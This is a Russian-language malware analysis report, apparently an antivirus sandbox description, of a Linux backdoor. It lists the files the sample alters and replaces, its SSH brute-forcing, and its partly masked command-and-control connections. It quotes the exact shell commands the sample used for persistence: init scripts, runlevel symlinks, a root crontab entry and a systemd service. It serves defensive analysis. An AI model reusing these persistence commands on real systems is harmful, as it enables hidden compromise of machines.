Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /etc/profile.d/bash_config
- /etc/rc.local
- /etc/profile.d/linux.sh
- /etc/profile.d/bash_config.sh
- /etc/init.d/cron
- /etc/init.d/linux_kill
- /etc/init.d/ssh
- /etc/init.d/udev
- /etc/crontab
- /etc/init.d/.depend.boot
- /etc/init.d/.depend.start
- /etc/init.d/.depend.stop
Создает или модифицирует символические ссылки (симлинки):
- /etc/rc0.d/linux_kill
- /etc/rc1.d/linux_kill
- /etc/rc2.d/linux_kill
- /etc/rc3.d/linux_kill
- /etc/rc4.d/linux_kill
- /etc/rc5.d/linux_kill
- /etc/rc6.d/linux_kill
- /etc/rc2.d/S01linux_kill
- /etc/rc3.d/S01linux_kill
- /etc/rc4.d/S01linux_kill
- /etc/rc5.d/S01linux_kill
Вредоносные функции:
Заменяет следующие системные файлы:
- /usr/bin/lsof
Управляет службами:
- update-rc.d linux_kill defaults
- systemctl daemon-reload
- systemctl enable linux.service
Запускает процессы:
- /bin/bash -c chmod 0755 /etc/32679
- chmod 0755 /etc/32679
- /etc/32679
- <SAMPLE_FULL_PATH>
- sleep 30
- /bin/bash -c echo \"#!/bin/sh\" > /etc/profile.d/linux.sh
- /bin/bash -c
- uname -r
- /bin/bash -c echo -e \"#!/bin/sh\n BEGIN INIT INFO\n#chkconfig: 2345 10 90\n#description:System.img.config\n# Default-Start: 2 3 4 5\n# Default-Stop: \n END INIT INFO\n/boot/System.img.config\nexit 0\" > /etc/init.d/linux_kill;chmod +x /etc/init.d/linux_kill
- uname -m
- /bin/bash -c echo -e \"#!/bin/sh\n/usr/lib/libdlrpcld.so\" > /.img
- chmod +x /etc/init.d/linux_kill
- /bin/bash -c echo \"* * * * * root /.img \" >> /etc/crontab
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
- /bin/bash -c chmod 0755 /.img
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
- chmod 0755 /.img
- ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc2.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc2.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc2.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc2.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc3.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc3.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc3.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc3.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc4.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc4.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc4.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc4.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc5.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc5.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc5.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc5.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc6.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc6.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc6.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc6.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rcS.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rcS.d/linux_kill
- /bin/bash -c update-rc.d linux_kill defaults;chkconfig --add linux_kill
- /sbin/insserv linux_kill
- /etc/id.services.conf
- /bin/bash -c pkill -9 32679
- pkill -9 32679
- /bin/bash -c echo -e \"[Unit]\nDescription=\n[Service]\nType=forking\nExecStart=/boot/System.img.config\nExecReload=/boot/System.img.config\nExecStop=/boot/System.img.config\n[Install]\nWantedBy=multi-user.target\" > /etc/systemd/system/linux.service;chmod +x /etc/systemd/system/linux.service;systemctl enable linux.service
- chmod +x /etc/systemd/system/linux.service
Завершает следующие процессы:
- /etc/32679
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /etc/32679
- /etc/init.d/linux_kill
- /.img
- /etc/systemd/system/linux.service
Создает папки:
- /usr/bin/lib
Создает символические ссылки (симлинки):
- /etc/rcS.d/linux_kill
Создает или модифицирует файлы:
- /etc/id.services.conf
- /etc/32679
- /dev/.img
- /usr/lib/libdlrpcld.so
- /boot/System.img.config
- /lib/system-monitor
- /usr/bin/find
- /usr/sbin/ifconfig.conf
- /usr/bin/lsof
- /.img
- /etc/systemd/system/linux.service
Устанавливает блокировку (lock) на файлы:
- /dev/.img
Сетевая активность:
Устанавливает соединение:
- 8.#.8.8:53
- 10#.###.142.134:10101
Проводит атаку перебором по словарю (брутфорс) по протоколу SSH.
DNS ASK:
- bb#.##umproot.com
Посылает данные следующим серверам:
- 10#.###.142.134:10101
Получает данные от следующих серверов:
- 10#.###.142.134:10101
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти
